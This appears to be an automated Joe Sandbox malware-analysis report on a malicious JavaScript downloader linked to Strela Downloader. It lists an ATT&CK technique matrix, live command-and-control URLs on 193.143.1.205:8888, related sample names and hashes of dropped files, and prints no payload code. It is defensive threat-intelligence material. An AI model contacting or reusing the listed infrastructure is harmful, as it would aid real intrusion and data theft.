Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1026278051441931198.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/c	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/f	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3336129857.0000021CAF600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2122822141.0000021CAF360000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/f	net.exe, 00000007.00000002.2123027525.000001695C9A6000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2122379341.000001695C9A6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2122941360.000001695C978000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2122379341.000001695C9A6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/c	net.exe, 00000007.00000002.2122941360.000001695C978000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588118
Start date and time:	2025-01-10 21:33:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1026278051441931198.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.6.155.20, 3.219.243.226, 52.22.41.97, 3.233.129.217, 172.64.41.3, 162.159.61.3, 2.23.242.162, 88.221.110.91, 2.16.100.168, 23.209.209.135, 2.16.168.105, 2.16.168.107, 20.12.23.50, 96.17.64.171, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 1026278051441931198.js

Simulations

Behavior and APIs

Time	Type	Description
15:33:57	API Interceptor	22x Sleep call for process: powershell.exe modified
15:34:01	API Interceptor	1x Sleep call for process: net.exe modified
15:34:01	API Interceptor	2x Sleep call for process: svchost.exe modified
15:34:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	322024057229051058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27321191142887719888.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2295888241314542.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27962100941450914990.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	295963673155714664.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16847122831539518647.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	42173378525889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24928193762733825739.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307179339944314
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugb:gJjJGtpTq2yv1AuNZRY3diu8iBVqFB
MD5:	3BA7E94549B1562B4A05A5F9527BD087
SHA1:	16EB74E5FB82BC73CA525F29F251E8A9464B8AD3
SHA-256:	8CA33D0935EBC765E52BCF0D1329C6D380635C5514B6F8A61C6C52BFC8D0C754
SHA-512:	3BD81E6CD24EA7B5EC653FD8B304131C6C7ECF1448EA96C9E748A77295301CD391067BDC9F78A983EF22AC695D157C845FDB79AA409406E1D0A65B872DB4FAC3
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9c472c27, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585818958323937
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	089A5733F7077AADE63782704E80198B
SHA1:	85C86AEC4E146406ABF8E161EEB8AFB068E086C6
SHA-256:	AAB05807405F02D8C4B493B067CF1A59C39E97C37B6CF4F67DC9A152DFDCA619
SHA-512:	671E3FD60ED86F512C3D5684777C3C21D87D8D7EED6231D1B20CC2D423E82311B9BB665293EDA87632A33A6C2F7C18BA3C4ACEFBB54BC6DC974D5C663121E889
Malicious:	false
Preview:	.G,'... ...............X\...;...{......................0.z..........{..."...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................."...}...................[!.."...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08086613130648859
Encrypted:	false
SSDEEP:	3:A8mt/KYeTq8uHGuAJkhvekl1BrevkY4l/llollrekGltll/SPj:A31KzTqPrxl7e8Y4tAJe3l
MD5:	534AACC243F37F72B24D0EF03A74E6D1
SHA1:	2804D88134E5E577825DFA5D7295D6C4FC641B8F
SHA-256:	2205B42BDC0AD9A72696CED7D0F24923A8287730D3E4000FB2349FF35BDC6DA1
SHA-512:	5C4B61BB765C85376BF397C906F7C60622580418F164774AA8DF2C8789FDAB708C765F8B010F908B87A30403C7D16A76AB41B5D7A1D72E84966F01C7B54B88D4
Malicious:	false
Preview:	_........................................;...{..."...}.......{...............{.......{...XL......{...................[!.."...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.088260540276261
Encrypted:	false
SSDEEP:	6:iO4EhOq2P92nKuAl9OmbnIFUtSEHZmwsEVkwO92nKuAl9OmbjLJ:7HOv4HAahFUtL/75LHAaSJ
MD5:	FB9676C5F2001B1DBD39C940C218AED2
SHA1:	4531267A96BE927FDFE9C72ADED11EE228F12D26
SHA-256:	F028729BEA2B0872571C6ACC5B5F30057F834B45B45AAE1D588FD2AFDC55A957
SHA-512:	90156C19FEC70D249436E1C61CADA976F3CDE1D7D4F39C2CF4A8C238D6DFBA27E7F81E41C7A746785447A286077EEB664411E7FAAD47CB60338C4F4D3BA1B2C1
Malicious:	false
Preview:	2025/01/10-15:34:01.130 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:34:01.132 1cb0 Recovering log #3.2025/01/10-15:34:01.132 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.088260540276261
Encrypted:	false
SSDEEP:	6:iO4EhOq2P92nKuAl9OmbnIFUtSEHZmwsEVkwO92nKuAl9OmbjLJ:7HOv4HAahFUtL/75LHAaSJ
MD5:	FB9676C5F2001B1DBD39C940C218AED2
SHA1:	4531267A96BE927FDFE9C72ADED11EE228F12D26
SHA-256:	F028729BEA2B0872571C6ACC5B5F30057F834B45B45AAE1D588FD2AFDC55A957
SHA-512:	90156C19FEC70D249436E1C61CADA976F3CDE1D7D4F39C2CF4A8C238D6DFBA27E7F81E41C7A746785447A286077EEB664411E7FAAD47CB60338C4F4D3BA1B2C1
Malicious:	false
Preview:	2025/01/10-15:34:01.130 1cb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:34:01.132 1cb0 Recovering log #3.2025/01/10-15:34:01.132 1cb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1474452641045785
Encrypted:	false
SSDEEP:	6:iO4EJUUHN+q2P92nKuAl9Ombzo2jMGIFUtSEjLZZmwsEjLNVkwO92nKuAl9Ombzz:7/kv4HAa8uFUtd/Z5LHAa8RJ
MD5:	B785ECBE5552EC71432AACEEEC5238E2
SHA1:	F7D388687664E646DA2B407EBAE9BA0AE181C012
SHA-256:	B7D820725AA1BDD44870C5B06877F0D0BAFDC619E7F511344B4504B6ADCD0EA4
SHA-512:	4C0E51A25FC618A9F677519608BB57B885EA1920F7578A56F3923F0D8404F49AD159AED7D9D54DC46858E534631E39E91BDA93E6B3E1A9FCA164AF76FA2213BD
Malicious:	false
Preview:	2025/01/10-15:34:01.161 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:34:01.163 1cf8 Recovering log #3.2025/01/10-15:34:01.163 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1474452641045785
Encrypted:	false
SSDEEP:	6:iO4EJUUHN+q2P92nKuAl9Ombzo2jMGIFUtSEjLZZmwsEjLNVkwO92nKuAl9Ombzz:7/kv4HAa8uFUtd/Z5LHAa8RJ
MD5:	B785ECBE5552EC71432AACEEEC5238E2
SHA1:	F7D388687664E646DA2B407EBAE9BA0AE181C012
SHA-256:	B7D820725AA1BDD44870C5B06877F0D0BAFDC619E7F511344B4504B6ADCD0EA4
SHA-512:	4C0E51A25FC618A9F677519608BB57B885EA1920F7578A56F3923F0D8404F49AD159AED7D9D54DC46858E534631E39E91BDA93E6B3E1A9FCA164AF76FA2213BD
Malicious:	false
Preview:	2025/01/10-15:34:01.161 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:34:01.163 1cf8 Recovering log #3.2025/01/10-15:34:01.163 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5dd185da-806b-4822-93c0-933e00df4ee6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.053486809992764
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhFsBdOg2HdAcaq3QYiubxnP7E4T3OF+:Y2sRds9dMHdr3QYhbxP7nbI+
MD5:	1FF6A612804B7BD19D8961322A40B3AF
SHA1:	11F9D56DD8ADDB56F5CEF45CF658F3C022BB7441
SHA-256:	6148813462AF6D5F0D910C9D8B62705AFADCE7061C39E6F8D84729683751970F
SHA-512:	8B9C2B068398D66FBA314779C6878D6CA926D5533F45E385582747E343D8C90BDF333A07BDFA9DE049FFED9FA7AAC84308131F0F533105403F29D3780517D6F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381101253839579","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":369033},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.053486809992764
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqhFsBdOg2HdAcaq3QYiubxnP7E4T3OF+:Y2sRds9dMHdr3QYhbxP7nbI+
MD5:	1FF6A612804B7BD19D8961322A40B3AF
SHA1:	11F9D56DD8ADDB56F5CEF45CF658F3C022BB7441
SHA-256:	6148813462AF6D5F0D910C9D8B62705AFADCE7061C39E6F8D84729683751970F
SHA-512:	8B9C2B068398D66FBA314779C6878D6CA926D5533F45E385582747E343D8C90BDF333A07BDFA9DE049FFED9FA7AAC84308131F0F533105403F29D3780517D6F2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381101253839579","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":369033},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235828020968844
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUqofyE:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLI
MD5:	E5035893F90EE524BA62354FAB9C899C
SHA1:	F6E42CB6B235A50BB35951FDC0FCC25C7794623D
SHA-256:	6DE6118049AACA3EBB8E18BE6934EDAC260752DFAFBDD63F521E13979D938DB3
SHA-512:	4421F59C69B7B7E274D63061BE5D3424705FA043E5083CCEE977CF65EDC1E2A84DE26E03579FA123FC55620F7E9892398CEE4D3F7C1E48662FA400743EE73BDE
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.131386397106508
Encrypted:	false
SSDEEP:	6:iO4EPpFN+q2P92nKuAl9OmbzNMxIFUtSE6PXZmwsE5NVkwO92nKuAl9OmbzNMFLJ:7hrIv4HAa8jFUt8X/v5LHAa84J
MD5:	C962CFCA8AE40D0126B238755B6B1004
SHA1:	F5EA7B995B1030468921275837F140EB90ED30C1
SHA-256:	C048BD5F788140CB8DDB69EA16A57349B8BB0E7907EBA703899FDB8E577B29F4
SHA-512:	B44929C6ADAA69BA0540D2DB4761670C0F289A07A0FC18EE5F2CDA58865FC926D827A56F15DE92421F34A5C48AEAA65364F00E19B8E2144FA08A4D2EEA3B4EB9
Malicious:	false
Preview:	2025/01/10-15:34:01.408 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:34:01.410 1cf8 Recovering log #3.2025/01/10-15:34:01.411 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.131386397106508
Encrypted:	false
SSDEEP:	6:iO4EPpFN+q2P92nKuAl9OmbzNMxIFUtSE6PXZmwsE5NVkwO92nKuAl9OmbzNMFLJ:7hrIv4HAa8jFUt8X/v5LHAa84J
MD5:	C962CFCA8AE40D0126B238755B6B1004
SHA1:	F5EA7B995B1030468921275837F140EB90ED30C1
SHA-256:	C048BD5F788140CB8DDB69EA16A57349B8BB0E7907EBA703899FDB8E577B29F4
SHA-512:	B44929C6ADAA69BA0540D2DB4761670C0F289A07A0FC18EE5F2CDA58865FC926D827A56F15DE92421F34A5C48AEAA65364F00E19B8E2144FA08A4D2EEA3B4EB9
Malicious:	false
Preview:	2025/01/10-15:34:01.408 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:34:01.410 1cf8 Recovering log #3.2025/01/10-15:34:01.411 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
